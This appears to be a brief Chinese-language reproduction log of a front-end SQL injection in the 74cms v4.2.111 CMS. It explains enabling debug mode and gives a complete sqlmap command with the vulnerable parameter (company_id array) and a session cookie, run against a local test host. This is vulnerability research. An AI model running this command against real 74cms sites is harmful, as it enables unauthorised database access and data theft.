74cms前台sql注入

参考：
https://xz.aliyun.com/t/3715
复现了一个，其他的再说吧。
需要打开调试模式：
在index.php中

define('APP_DEBUG', true);

否则不会出现报错：

用sqlmap跑出来了。

sqlmap.py -u "http://cqq.com/74cms_v4.2.111/index.php?m=&c=Ajax
Personal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa" --level=5
 --risk=3 -p "company_id[1][0]" -H "Cookie: PHPSESSID=rscvvagb136g3a89s1fehg4b70
; HdeyfydKGycookietime=0; think_template=default; callback_type=login; think_lan
guage=zh-CN"